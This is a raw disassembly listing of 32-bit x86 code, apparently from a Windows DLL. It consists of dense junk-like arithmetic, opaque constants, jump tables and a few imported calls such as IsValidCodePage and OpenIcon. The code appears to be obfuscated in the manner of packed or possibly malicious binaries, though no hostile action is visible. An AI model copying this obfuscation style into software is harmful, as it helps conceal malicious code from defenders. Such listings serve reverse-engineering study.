jge 0x1004ef18
mov ax, word [0x100a2124]
add ax, 1
mov word [0x100a2124], ax
mov ecx, dword [0x100a2148]
mov edx, dword [0x100a214c]
push 0
push 0x841e
push edx
push ecx
call fcn.10073ef0
mov word [0x100a2138], ax
movzx eax, word [ebp - 8]
test eax, eax
je 0x1004eea3
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0x50]
mov dword [ebp - 0xef4], ecx
mov dword [ebp - 0xef0], edx
jmp 0x1004eeb7
movzx eax, byte [str.HeapSize]
cdq
mov dword [ebp - 0xef4], eax
mov dword [ebp - 0xef0], edx
mov eax, dword [ebp - 0xef4]
mov ecx, dword [ebp - 0xef0]
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], ecx
movzx edx, word [ebp - 8]
movsx eax, word [ebp - 0x14]
sub edx, eax
mov word [ebp - 8], dx
mov ecx, dword [ebp - 0x24]
xor ecx, dword [ebp - 0x64]
mov edx, dword [ebp - 0x24]
and edx, ecx
mov dword [ebp - 0x24], edx
mov ecx, dword [0x100a2150]
mov edx, dword [0x100a2154]
mov dword [ebp - 0x2a60], edx
sub ecx, 0xaf29
movzx eax, byte [ebp - 2]
cdq
sub eax, ecx
mov byte [ebp - 2], al
mov ax, word [ebp - 0xc]
add ax, 1
mov word [ebp - 0xc], ax
jmp 0x1004ee38
jmp 0x1004ec3f
mov eax, dword [ebp - 0x54]
or eax, dword [ebp - 0x50]
je 0x1004efe3
mov ecx, 0x34ea3
mov dword [0x100a2150], 0xf4a6aa1
mov dword [0x100a2154], ecx
movzx edx, word [0x100a2124]
movzx eax, byte [ebp - 3]
lea ecx, [eax + edx - 0xc1b]
mov byte [ebp - 3], cl
mov edx, dword [ebp - 0x3c]
add edx, 0xa7
mov dword [0x100a2120], edx
mov eax, dword [ebp - 0x38]
add eax, 0x4e674f0e
or eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], eax
movzx ecx, word [ebp - 0xc]
add ecx, dword [ebp - 0x24]
mov dword [ebp - 0x24], ecx
jmp 0x1004f06c
imul edx, dword [0x100a20e4], 0xdf2af601
mov byte [0x100a203b], dl
mov ax, word [0x100a20d0]
mov word [ebp - 0x10], ax
mov ecx, dword [ebp - 0x5c]
mov dword [ebp - 0x28], ecx
mov ecx, dword [0x100a20d0]
add ecx, 0x768bbddb
movsx eax, word [0x100a20f0]
cdq
and eax, ecx
mov word [0x100a20f0], ax
mov edx, 2
imul eax, edx, 0xeb
movzx eax, word [eax + 0x100b33e0]
cdq
xor eax, dword [ebp - 0x64]
xor edx, dword [ebp - 0x60]
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], edx
mov ecx, 4
imul edx, ecx, 0x681
mov eax, dword [edx + 0x100ff140]
cdq
mov ecx, dword [0x100a2150]
mov esi, dword [0x100a2154]
add ecx, eax
adc esi, edx
mov dword [0x100a2150], ecx
mov dword [0x100a2154], esi
mov edx, dword [ebp - 0xe8]
movzx eax, word [ebp + edx*2 - 0x114]
mov dword [ebp - 0x78], eax
mov cl, byte [0x100a2c3c]
mov byte [ebp - 3], cl
mov eax, dword [ebp - 0x20]
cdq
mov ecx, 8
imul ecx, ecx, 0xd6a
mov dword [ecx + 0x1016eca8], eax
mov dword [ecx + 0x1016ecac], edx
mov edx, 0xc7
mov word [ebp - 8], dx
mov eax, dword [ebp - 0x510]
sub eax, dword [ebp - 0x510]
mov ecx, dword [ebp - 0x514]
sub ecx, dword [ebp - 0x514]
imul eax, ecx
add eax, 0x9d
xor eax, dword [ebp - 0x78]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x34], 2
mov edx, dword [ebp - 0x1c]
sub edx, 0x1f149d59
mov word [ebp - 0xc], dx
movzx eax, byte [str.HeapSize]
sub eax, 0x9b1b
mov dword [0x100a20f4], eax
mov ecx, dword [0x100a20d8]
add ecx, 0x15
mov dword [0x100a20e4], ecx
mov edx, 0x37b2
mov word [ebp - 0x10], dx
movzx eax, word [ebp - 8]
cdq
mov ecx, dword [ebp - 0x44]
mov esi, dword [ebp - 0x40]
add ecx, eax
adc esi, edx
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
add edx, ecx
adc eax, esi
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x190], ecx
cmp dword [ebp - 0x190], 0
je 0x1004f159
cmp dword [ebp - 0x190], 1
je 0x1004f199
cmp dword [ebp - 0x190], 2
je 0x1004f1f8
jmp 0x1004f2b7
movzx eax, word [ebp - 8]
cdq
mov edx, dword [ebp - 0x54]
sub edx, eax
mov dword [ebp - 0x18], edx
mov eax, dword [0x100a2120]
shl eax, 4
cdq
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], edx
mov eax, dword [ebp - 0x28]
add eax, 0xa
mov word [ebp - 0xc], ax
mov eax, dword [ebp - 0x34]
cdq
and eax, 0x416d5e24
and edx, 0x7b872
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], edx
jmp 0x1004f2b7
movzx ecx, word [ebp - 0x10]
sar ecx, 6
mov dword [0x100a20f4], ecx
movsx eax, byte [0x100a203b]
sar eax, 7
cdq
mov dword [0x100a2150], eax
mov dword [0x100a2154], edx
movzx edx, byte [str.HeapSize]
mov eax, dword [ebp - 0x34]
sub eax, edx
xor eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x1c]
and ecx, 0xac
mov word [ebp - 0x10], cx
mov edx, dword [0x100a2104]
add edx, dword [ebp - 0x28]
add edx, dword [ebp - 0x28]
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x24]
add eax, 1
mov dword [ebp - 0x24], eax
jmp 0x1004f2b7
movsx ecx, word [ebp - 0x14]
test ecx, ecx
je 0x1004f214
mov edx, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x1024], edx
mov dword [ebp - 0x1020], eax
jmp 0x1004f226
mov eax, dword [0x100a2104]
cdq
mov dword [ebp - 0x1024], eax
mov dword [ebp - 0x1020], edx
mov ecx, dword [ebp - 0x1024]
mov dword [ebp - 0x30], ecx
movzx eax, byte [ebp - 2]
cdq
mov ecx, dword [0x100a2108]
mov esi, dword [0x100a210c]
push esi
push ecx
push edx
push eax
call fcn.10073ef0
mov byte [ebp - 2], al
mov edx, dword [ebp - 0x3c]
xor edx, dword [0x100a20f4]
mov eax, dword [ebp - 0x3c]
imul eax, edx
mov dword [ebp - 0x3c], eax
mov ecx, dword [0x100a2148]
mov edx, dword [0x100a214c]
mov dword [ebp - 0x2a68], edx
add ecx, 0x46c8a7c7
mov word [0x100a2124], cx
movsx eax, byte [str.y4The_server_is_requ]
test eax, eax
je 0x1004f29a
mov eax, dword [ebp - 0x34]
cdq
mov dword [ebp - 0x102c], eax
mov dword [ebp - 0x1028], edx
jmp 0x1004f2ac
mov ecx, dword [ebp - 0x5c]
mov edx, dword [ebp - 0x58]
mov dword [ebp - 0x102c], ecx
mov dword [ebp - 0x1028], edx
mov eax, dword [ebp - 0x102c]
mov dword [0x100a20e4], eax
mov ecx, dword [ebp - 0x78]
sub ecx, 0x4d
mov dword [ebp - 0x78], ecx
mov byte [0x100a207b], 0xbe
mov dword [0x100a20f4], 2
mov edx, dword [ebp - 0x24]
and edx, 0x1d967f32
mov byte [ebp - 2], dl
movzx eax, byte [ebp - 3]
cdq
mov ecx, dword [0x100a2108]
mov edx, dword [0x100a210c]
mov dword [ebp - 0x2a6c], edx
add ecx, eax
not ecx
mov eax, dword [0x100a20f4]
not eax
cdq
mov edx, dword [ebp - 0x4c]
mov esi, dword [ebp - 0x48]
mov dword [ebp - 0x2a70], esi
sub edx, eax
sub ecx, edx
not ecx
mov dword [ebp - 0x20], ecx
cmp dword [ebp - 0x24], 0
jne 0x1004f327
mov dword [ebp - 0x518], 1
jmp 0x1004f331
mov dword [ebp - 0x518], 0
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x3c]
xor ecx, ecx
mov edx, dword [ebp - 0x54]
not edx
mov esi, dword [ebp - 0x50]
not esi
sub edx, 0x33beafc1
sbb esi, 0x711f2
push esi
push edx
push ecx
push eax
call fcn.10073ef0
mov ecx, dword [ebp - 0x518]
add ecx, dword [ebp - 0x28]
not ecx
mov edx, dword [0x100a20e8]
mov esi, dword [0x100a20ec]
mov dword [ebp - 0x2a74], esi
mov esi, 0xb4
sub esi, edx
xor ecx, esi
add eax, ecx
mov byte [0x100a207a], al
mov eax, dword [0x100a20f4]
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 0
je 0x1004f3b8
cmp dword [ebp - 0x194], 1
je 0x1004f457
cmp dword [ebp - 0x194], 2
je 0x1004f523
jmp 0x1004f563
mov dword [0x100a20f4], 0x7d8a8416
mov ecx, 4
imul edx, ecx, 0x2307
xor eax, eax
mov ecx, dword [0x100a2108]
mov esi, dword [0x100a210c]
add ecx, dword [edx + 0x10227c08]
adc esi, eax
mov dword [0x100a2108], ecx
mov dword [0x100a210c], esi
movzx edx, byte [str.HeapSize]
test edx, edx
jne 0x1004f40e
xor eax, eax
mov dword [ebp - 0x1034], 1
mov dword [ebp - 0x1030], eax
jmp 0x1004f419
xorps xmm0, xmm0
movlpd qword [ebp - 0x1034], xmm0
mov eax, dword [0x100a20f4]
cdq
mov ecx, dword [ebp - 0x60]
push ecx
mov ecx, dword [ebp - 0x64]
push ecx
push edx
push eax
call fcn.10073ef0
mov ecx, dword [ebp - 0x1030]
push ecx
mov ecx, dword [ebp - 0x1034]
push ecx
push edx
push eax
call fcn.10073ef0
not eax
not edx
mov dword [0x100a2148], eax
mov dword [0x100a214c], edx
jmp 0x1004f563
movzx eax, byte [ebp - 2]
sub eax, 0xb32
cdq
mov dword [0x100a2140], eax
mov dword [0x100a2144], edx
movsx edx, byte [0x100a203b]
add edx, 0x26c0
mov byte [ebp - 2], dl
mov eax, dword [0x100a2148]
mov ecx, dword [0x100a214c]
mov dword [ebp - 0x18a4], eax
mov dword [ebp - 0x18a0], ecx
mov edx, dword [ebp - 0x18a4]
or edx, dword [ebp - 0x18a0]
jne 0x1004f4ad
mov dword [ebp - 0x520], 1
jmp 0x1004f4b7
mov dword [ebp - 0x520], 0
movzx eax, byte [str.HeapSize]
xor eax, dword [0x100a20dc]
jne 0x1004f4d2
mov dword [ebp - 0x51c], 1
jmp 0x1004f4dc
mov dword [ebp - 0x51c], 0
movzx ecx, byte [ebp - 2]
add ecx, dword [0x100a20dc]
sub ecx, dword [ebp - 0x51c]
jne 0x1004f4fa
mov dword [ebp - 0x524], 1
jmp 0x1004f504
mov dword [ebp - 0x524], 0
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x520]
lea ecx, [edx + eax + 0xd531]
imul ecx, dword [ebp - 0x524]
mov dword [0x100a20d8], ecx
jmp 0x1004f563
mov eax, dword [0x100a20f4]
cdq
mov ecx, dword [0x100a2148]
mov esi, dword [0x100a214c]
sub ecx, eax
sbb esi, edx
mov edx, dword [0x100a2148]
mov eax, dword [0x100a214c]
add edx, ecx
adc eax, esi
mov dword [0x100a2148], edx
mov dword [0x100a214c], eax
movzx ecx, byte [str.HeapSize]
sar ecx, 2
mov dword [0x100a20f4], ecx
movzx edx, byte [0x100a207b]
mov eax, dword [ebp - 0x18]
add eax, 1
cmp edx, eax
jne 0x1004f8dc
mov ecx, dword [0x100a2148]
mov edx, dword [0x100a214c]
mov dword [ebp - 0x18ac], ecx
mov dword [ebp - 0x18a8], edx
mov eax, dword [ebp - 0x18ac]
or eax, dword [ebp - 0x18a8]
je 0x1004f5ac
movzx ecx, byte [ebp - 1]
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov dword [ebp - 0x20], eax
mov eax, dword [0x100a20f4]
cdq
mov ecx, dword [0x100a2150]
mov esi, dword [0x100a2154]
mov dword [ebp - 0x18b4], eax
mov dword [ebp - 0x18b0], edx
mov dword [ebp - 0x18bc], ecx
mov dword [ebp - 0x18b8], esi
mov edx, dword [ebp - 0x18b4]
cmp edx, dword [ebp - 0x18bc]
jne 0x1004f5f2
mov eax, dword [ebp - 0x18b0]
cmp eax, dword [ebp - 0x18b8]
je 0x1004f655
mov ecx, dword [0x100a2c3c]
xor edx, edx
mov dword [0x100a2148], ecx
mov dword [0x100a214c], edx
mov eax, dword [0x100a20f4]
cdq
add eax, dword [0x100a20d0]
adc edx, dword [0x100a20d4]
add eax, dword [0x100a20d0]
adc edx, dword [0x100a20d4]
mov dword [0x100a20d0], eax
mov dword [0x100a20d4], edx
mov eax, dword [0x100a2104]
mov dword [ebp - 0x20], eax
movzx ecx, byte [ebp - 2]
movzx edx, word [ebp - 0xc]
sub ecx, edx
mov byte [ebp - 2], cl
xor eax, eax
mov dword [0x100a20e8], 0xc7f472d7
mov dword [0x100a20ec], eax
cmp dword [0x100a2100], 1
jne 0x1004f8dc
cmp dword [ebp - 0x30], 0
je 0x1004f862
mov byte [ebp - 1], 1
movzx ecx, word [ebp - 0x10]
test ecx, ecx
jne 0x1004f684
mov dword [ebp - 0x528], 1
jmp 0x1004f68e
mov dword [ebp - 0x528], 0
mov eax, dword [ebp - 0x528]
add eax, dword [ebp - 0x34]
cdq
mov ecx, eax
mov eax, dword [ebp - 0x34]
cdq
mov edx, dword [0x100a2130]
mov esi, dword [0x100a2134]
mov dword [ebp - 0x2a78], esi
add eax, edx
not eax
add ecx, eax
mov byte [ebp - 2], cl
movzx eax, word [ebp - 8]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x24]
sub edx, 0xf158
mov dword [0x100a2114], edx
mov ax, word [ebp - 0x54]
mov ecx, 2
shl ecx, 0
mov word [ecx + 0x10222d70], ax
mov edx, dword [ebp - 0x1c]
imul edx, dword [ebp - 0x30]
sub edx, dword [0x100a20d0]
mov word [0x100a20e0], dx
mov al, byte [ebp - 1]
mov byte [ebp - 0x52c], al
cmp byte [ebp - 0x52c], 0
je 0x1004f71f
cmp byte [ebp - 0x52c], 1
je 0x1004f7bc
jmp 0x1004f862
movzx ecx, byte [0x100a207b]
movzx edx, word [0x100a2124]
imul ecx, edx
movzx eax, byte [0x100a207b]
sub eax, ecx
mov byte [0x100a207b], al
mov ecx, dword [ebp - 0x3c]
imul ecx, dword [0x100a2104]
test ecx, ecx
jne 0x1004f758
mov dword [ebp - 0x530], 1
jmp 0x1004f762
mov dword [ebp - 0x530], 0
imul eax, dword [ebp - 0x530], 0xaefa
cdq
sub eax, dword [ebp - 0x54]
sbb edx, dword [ebp - 0x50]
mov dword [ebp - 0x18c4], eax
mov dword [ebp - 0x18c0], edx
mov edx, dword [ebp - 0x18c4]
or edx, dword [ebp - 0x18c0]
jne 0x1004f799
mov dword [ebp - 0x534], 1
jmp 0x1004f7a3
mov dword [ebp - 0x534], 0
mov eax, dword [ebp - 0x534]
mov dword [ebp - 0x20], eax
mov cx, word [0x100a2c3c]
mov word [ebp - 8], cx
jmp 0x1004f862
movzx eax, byte [ebp - 3]
cdq
mov esi, dword [0x100a20e8]
mov edi, dword [0x100a20ec]
add esi, eax
adc edi, edx
not esi
not edi
mov edx, dword [0x100a20e8]
mov eax, dword [0x100a20ec]
mov ecx, dword [ebp - 0x50]
push ecx
mov ecx, dword [ebp - 0x54]
push ecx
push eax
push edx
call fcn.10073ef0
sub esi, eax
sbb edi, edx
mov dword [0x100a20d0], esi
mov dword [0x100a20d4], edi
movsx eax, byte [0x100a203b]
cdq
mov ecx, dword [ebp - 0x4c]
mov esi, dword [ebp - 0x48]
push esi
push ecx
push edx
push eax
call fcn.10073ef0
mov byte [0x100a203b], al
movzx edx, word [0x100a2138]
movsx eax, byte [0x100a2027]
imul edx, eax
movzx ecx, word [0x100a2138]
sub ecx, edx
mov word [0x100a2138], cx
mov eax, dword [0x100a2130]
mov edx, dword [0x100a2134]
mov cl, 3
call fcn.10074000
mov word [ebp - 0x14], ax
mov edx, dword [ebp - 0x28]
sub edx, 0x6fcbf96c
mov word [0x100a2138], dx
jmp 0x1004f8dc
mov byte [0x100a207b], 0xbe
mov ecx, dword [0x100a20d8]
mov dword [0x100a20e4], ecx
mov edx, dword [ebp - 0x18]
mov eax, 2
imul ecx, eax, 6
mov word [ecx + 0x102c1b20], dx
mov edx, 0xef1dc
mov dword [ebp - 0x64], 0xa6de523e
mov dword [ebp - 0x60], edx
xor eax, eax
mov word [ebp - 8], ax
mov ecx, dword [ebp - 0x34]
imul ecx, dword [0x100a2128]
mov dword [ebp - 0x34], ecx
movzx eax, byte [ebp - 3]
cdq
mov ecx, dword [0x100a2108]
mov edx, dword [0x100a210c]
mov dword [ebp - 0x2a84], edx
xor ecx, eax
mov eax, dword [0x100a2114]
cdq
mov edx, dword [0x100a2148]
mov esi, dword [0x100a214c]
mov dword [ebp - 0x2a88], esi
add eax, edx
xor ecx, eax
mov word [ebp - 0xc], cx
movzx eax, word [ebp - 0x10]
test eax, eax
je 0x1004f970
movzx ecx, word [ebp - 0x10]
mov dword [ebp - 0x538], ecx
jmp 0x1004f97d
movsx edx, byte [0x100a2027]
mov dword [ebp - 0x538], edx
mov eax, dword [ebp - 0x538]
mov dword [0x100a2114], eax
mov ecx, dword [0x100a2150]
mov edx, dword [0x100a2154]
mov dword [ebp - 0x18cc], ecx
mov dword [ebp - 0x18c8], edx
mov eax, dword [ebp - 0x18cc]
or eax, dword [ebp - 0x18c8]
je 0x1004f9bd
movzx ecx, byte [str.HeapSize]
mov dword [ebp - 0x53c], ecx
jmp 0x1004f9c9
mov edx, dword [0x100a20dc]
mov dword [ebp - 0x53c], edx
mov eax, dword [ebp - 0x53c]
mov dword [ebp - 0x38], eax
movzx ecx, word [ebp - 8]
mov dword [ebp - 0x1540], ecx
cmp dword [ebp - 0x1540], 0
je 0x1004f9ea
jmp 0x1004fab7
cmp dword [0x100a20dc], 0
je 0x1004f9fe
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x540], edx
jmp 0x1004fa08
movzx eax, word [ebp - 8]
mov dword [ebp - 0x540], eax
mov cx, word [ebp - 0x540]
mov word [ebp - 0xc], cx
mov edx, dword [0x100a20d8]
add edx, 0x79
mov word [ebp - 0xc], dx
movzx eax, byte [ebp - 3]
mov ecx, dword [0x100a20f4]
sub ecx, eax
jne 0x1004fa3a
mov dword [ebp - 0x544], 1
jmp 0x1004fa44
mov dword [ebp - 0x544], 0
movsx edx, word [0x100a20c8]
add edx, dword [ebp - 0x24]
not edx
add edx, dword [ebp - 0x544]
jne 0x1004fa6c
xor eax, eax
mov dword [ebp - 0x103c], 1
mov dword [ebp - 0x1038], eax
jmp 0x1004fa77
xorps xmm0, xmm0
movlpd qword [ebp - 0x103c], xmm0
movsx eax, word [0x100a2110]
cdq
mov ecx, dword [0x100a20ec]
sub eax, dword [0x100a20e8]
sbb edx, ecx
movsx ecx, word [ebp - 0x14]
not ecx
xor ecx, dword [ebp - 0x28]
xor esi, esi
xor eax, ecx
xor edx, esi
push edx
push eax
mov edx, dword [ebp - 0x1038]
push edx
mov eax, dword [ebp - 0x103c]
push eax
call fcn.10073ef0
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], edx
mov ecx, dword [ebp - 0x78]
add ecx, 1
mov dword [ebp - 0x78], ecx
mov edx, 3
mov word [ebp - 0x14], dx
movzx eax, word [0x100a211c]
movzx ecx, word [ebp - 8]
sub eax, ecx
mov word [0x100a211c], ax
movzx edx, byte [ebp - 1]
and edx, dword [ebp - 0x38]
movzx eax, byte [ebp - 1]
add eax, edx
mov byte [ebp - 1], al
movzx eax, word [ebp - 8]
add eax, 0xc7
cdq
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], edx
movsx ecx, word [ebp - 0x14]
mov dword [ebp - 0x548], ecx
cmp dword [ebp - 0x548], 3
ja case.default.0x1004fb19
mov edx, dword [ebp - 0x548]
jmp dword [edx*4 + 0x10071fb4]
mov eax, dword [ebp - 0x30]
sub eax, 0x6a2e10bc
movzx ecx, word [0x100a2118]
imul ecx, eax
mov word [0x100a2118], cx
xor edx, edx
mov dword [0x100a20d0], 0x30e6
mov dword [0x100a20d4], edx
movzx eax, byte [0x100a207b]
add eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x30]
not ecx
movsx edx, word [0x100a2110]
imul ecx, edx
sub eax, ecx
mov ecx, eax
mov esi, dword [0x100a2100]
add esi, 0x990700fd
movzx eax, word [0x100a2138]
cdq
mov edx, dword [ebp - 0x4c]
mov edi, dword [ebp - 0x48]
mov dword [ebp - 0x2af4], edi
sub eax, edx
sub esi, eax
sub ecx, esi
mov dword [0x100a2114], ecx
movzx eax, word [0x100a2118]
test eax, eax
jne 0x1004fbb3
xor ecx, ecx
mov dword [ebp - 0x1044], 1
mov dword [ebp - 0x1040], ecx
jmp 0x1004fbbe
xorps xmm0, xmm0
movlpd qword [ebp - 0x1044], xmm0
mov edx, dword [ebp - 0x1040]
push edx
mov eax, dword [ebp - 0x1044]
push eax
mov ecx, dword [ebp - 0x58]
push ecx
mov edx, dword [ebp - 0x5c]
push edx
call fcn.10073ef0
mov dword [ebp - 0x24], eax
jmp case.default.0x1004fb19
mov eax, 2
mov word [ebp - 0x14], ax
movsx eax, word [0x100a20c8]
cdq
sub eax, 0xa967b784
mov word [ebp - 8], ax
mov ecx, dword [0x100a20d8]
imul ecx, dword [ebp - 0x30]
add ecx, dword [0x100a20d8]
mov dword [0x100a20d8], ecx
mov edx, 0x2558
mov word [0x100a20c8], dx
jmp case.default.0x1004fb19
movzx eax, word [0x100a2124]
cdq
mov ecx, dword [ebp - 0x44]
mov esi, dword [ebp - 0x40]
add ecx, eax
adc esi, edx
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
sub edx, ecx
sbb eax, esi
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x40], eax
movzx ecx, byte [ebp - 3]
mov edx, dword [ebp - 0x1c]
not edx
add ecx, edx
xor eax, eax
mov dword [ebp - 0x64], ecx
mov dword [ebp - 0x60], eax
mov ecx, 1
imul edx, ecx, 0xa903
movzx eax, byte [edx + 0x100e3500]
mov dword [ebp - 0x28], eax
mov ecx, 1
imul edx, ecx, 0x4e64
movzx eax, byte [edx + 0x102c1f30]
cdq
mov dword [0x100a2130], eax
mov dword [0x100a2134], edx
mov ax, word [ebp - 8]
sub ax, 1
mov word [ebp - 8], ax
mov ecx, dword [0x100a20dc]
xor ecx, 0x692742af
mov dword [ebp - 0x3c], ecx
jmp case.default.0x1004fb19
movzx edx, word [0x100a2118]
imul eax, edx, 0x36
cdq
mov dword [0x100a20d0], eax
mov dword [0x100a20d4], edx
xor eax, eax
mov dword [0x100a2130], 0xc2
mov dword [0x100a2134], eax
movsx eax, byte [0x100a203b]
cdq
add eax, 0x72eb4af6
adc edx, 0xf860e
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], edx
mov ecx, dword [ebp - 0x78]
sub ecx, 0x76
mov dword [ebp - 0x78], ecx
mov dword [0x100a20d8], 0x1ac6b686
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_OpenIcon]
mov dword [0x100a20e4], eax
mov eax, dword [ebp - 0x2c]
add eax, 0x1ac6b686
cmp dword [0x100a20d8], eax
jne 0x100500c3
movzx eax, word [0x100a2138]
cdq
mov ecx, eax
mov esi, edx
movzx eax, byte [ebp - 1]
cdq
add eax, 0x91dbdeea
adc edx, 0x30ac4
mov dword [ebp - 0x18d4], ecx
mov dword [ebp - 0x18d0], esi
mov dword [ebp - 0x18dc], eax
mov dword [ebp - 0x18d8], edx
mov edx, dword [ebp - 0x18d4]
cmp edx, dword [ebp - 0x18dc]
jne 0x100500c3
mov eax, dword [ebp - 0x18d0]
cmp eax, dword [ebp - 0x18d8]
jne 0x100500c3
movzx ecx, byte [ebp - 1]
test ecx, ecx
je 0x1004fe5d
movzx edx, word [ebp - 8]
movzx eax, word [0x100a2118]
cmp edx, eax
jg 0x1004fdfc
mov ecx, dword [0x100a20f8]
add ecx, dword [ebp - 0x64]
mov edx, dword [0x100a20fc]
adc edx, dword [ebp - 0x60]
push edx
push ecx
mov eax, dword [0x100a20fc]
push eax
mov ecx, dword [0x100a20f8]
push ecx
call fcn.10073ef0
mov dword [0x100a20f8], eax
mov dword [0x100a20fc], edx
imul edx, dword [ebp - 0x3c], 0xb1
imul edx, dword [ebp - 0x28]
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x20]
cdq
sub eax, dword [ebp - 0x54]
mov dword [0x100a2128], eax
movsx eax, word [ebp - 0x14]
mov ecx, dword [0x100a2114]
imul ecx, eax
mov dword [0x100a2114], ecx
mov edx, 0x988f
mov word [0x100a2138], dx
jmp 0x1004fe58
mov dword [0x100a20dc], 0x3c
movzx eax, word [ebp - 8]
imul eax, dword [ebp - 0x24]
movzx ecx, word [ebp - 8]
add ecx, eax
mov word [ebp - 8], cx
mov byte [ebp - 3], 0x51
mov edx, dword [0x100a2148]
mov eax, dword [0x100a214c]
mov dword [ebp - 0x2af8], eax
mov ecx, 1
imul eax, ecx, 0xf
mov byte [eax + 0x100b3380], dl
mov eax, dword [0x100a20f4]
cdq
push 0xaa76
push 0x903e6121
push edx
push eax
call fcn.10073ef0
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], edx
jmp 0x1004ffc4
mov ecx, dword [0x100a20d0]
not ecx
mov edx, dword [0x100a20d4]
not edx
mov dword [ebp - 0x18e4], ecx
mov dword [ebp - 0x18e0], edx
mov eax, dword [ebp - 0x18e4]
or eax, dword [ebp - 0x18e0]
je 0x1004fef1
movzx eax, byte [ebp - 1]
cdq
sub eax, 0x8c8a8cbb
mov dx, word [0x100a20c8]
mov ecx, eax
shl dx, cl
mov word [0x100a20c8], dx
movzx eax, word [0x100a2138]
imul eax, eax, 0xb
cdq
mov dword [0x100a20d0], eax
mov dword [0x100a20d4], edx
mov ecx, dword [0x100a2c3c]
mov dword [0x100a2100], ecx
mov eax, dword [0x100a2128]
cdq
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], edx
mov edx, dword [0x100a20f8]
add edx, 0xc1a2c978
mov eax, dword [0x100a20fc]
adc eax, 0
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x50], eax
jmp 0x1004ffc4
movzx ecx, byte [0x100a207b]
movsx edx, word [0x100a20c8]
cmp ecx, edx
jg 0x1004ff66
movsx eax, byte [0x100a2027]
imul ecx, eax, 0x9d606f2
mov dword [ebp - 0x20], ecx
mov edx, dword [0x100a20e8]
mov eax, dword [0x100a20ec]
mov ecx, dword [0x100a2154]
add edx, dword [0x100a2150]
adc eax, ecx
mov ecx, dword [0x100a20e8]
mov esi, dword [0x100a20ec]
sub ecx, edx
sbb esi, eax
mov dword [0x100a20e8], ecx
mov dword [0x100a20ec], esi
mov edx, dword [0x100a20f8]
add edx, 1
mov eax, dword [0x100a20fc]
adc eax, 0
mov dword [0x100a20f8], edx
mov dword [0x100a20fc], eax
jmp 0x1004ffc4
movzx ecx, byte [ebp - 1]
test ecx, ecx
je 0x1004ffc4
mov edx, dword [ebp - 0x24]
sub edx, 1
mov dword [ebp - 0x24], edx
movsx eax, byte [str.y4The_server_is_requ]
movsx ecx, word [0x100a20c8]
add eax, ecx
mov byte [str.y4The_server_is_requ], al
mov edx, 8
imul eax, edx, 0x70
mov ecx, dword [eax + 0x102df518]
mov dword [ebp - 0x34], ecx
movzx edx, byte [str.HeapSize]
mov eax, dword [ebp - 0x2c]
sub eax, edx
add eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], eax
movzx eax, byte [0x100a207a]
cdq
sub eax, 0xa2d4d5d8
mov ecx, dword [ebp - 0x2c]
sub ecx, eax
mov dword [ebp - 0x2c], ecx
jmp 0x100500c3
mov dword [0x100a20d8], 0x1ac6b686
push 0
push 0x127cbeff
mov ecx, dword [ebp - 0x60]
push ecx
mov edx, dword [ebp - 0x64]
push edx
call fcn.10073ef0
mov dword [0x100a2128], eax
mov eax, dword [0x100a2c3c]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x34]
cdq
mov dword [0x100a20e8], eax
mov dword [0x100a20ec], edx
movzx ecx, word [0x100a211c]
add ecx, 0x25f1
mov byte [str.y4The_server_is_requ], cl
mov dword [ebp - 0x198], 0xf5
jmp 0x1005012b
mov edx, dword [ebp - 0x198]
sub edx, 1
mov dword [ebp - 0x198], edx
cmp dword [ebp - 0x198], 0
jle 0x10050148
mov cx, word [0x100a2138]
add cx, 1
mov word [0x100a2138], cx
jmp 0x1005011c
mov edx, dword [ebp - 0x554]
add edx, 0x2ad
mov eax, dword [ebp - 0x554]
add eax, 0x2ad
sub edx, eax
mov ecx, dword [ebp - 0x78]
sub ecx, edx
mov edx, dword [ebp - 0xe8]
mov word [ebp + edx*2 - 0x114], cx
jmp 0x1004eadb
movzx eax, byte [ebp - 2]
test eax, eax
je 0x1005019b
mov ecx, dword [0x100a2108]
mov edx, dword [0x100a210c]
mov dword [ebp - 0x104c], ecx
mov dword [ebp - 0x1048], edx
jmp 0x100501ae
mov eax, dword [0x100a20e4]
xor ecx, ecx
mov dword [ebp - 0x104c], eax
mov dword [ebp - 0x1048], ecx
mov dx, word [ebp - 0x104c]
mov word [0x100a2110], dx
mov eax, dword [ebp - 0x28]
sub eax, 1
mov dword [ebp - 0x28], eax
movzx ecx, word [ebp - 0x10]
sub ecx, 0x3008
movzx edx, byte [0x100a207a]
xor edx, ecx
mov byte [0x100a207a], dl
imul eax, dword [ebp - 0x34], 0x683bebe5
mov dword [0x100a2100], eax
mov ecx, dword [ebp - 0x1c]
sub ecx, 0x3ed37f7e
mov dword [ebp - 0x3c], ecx
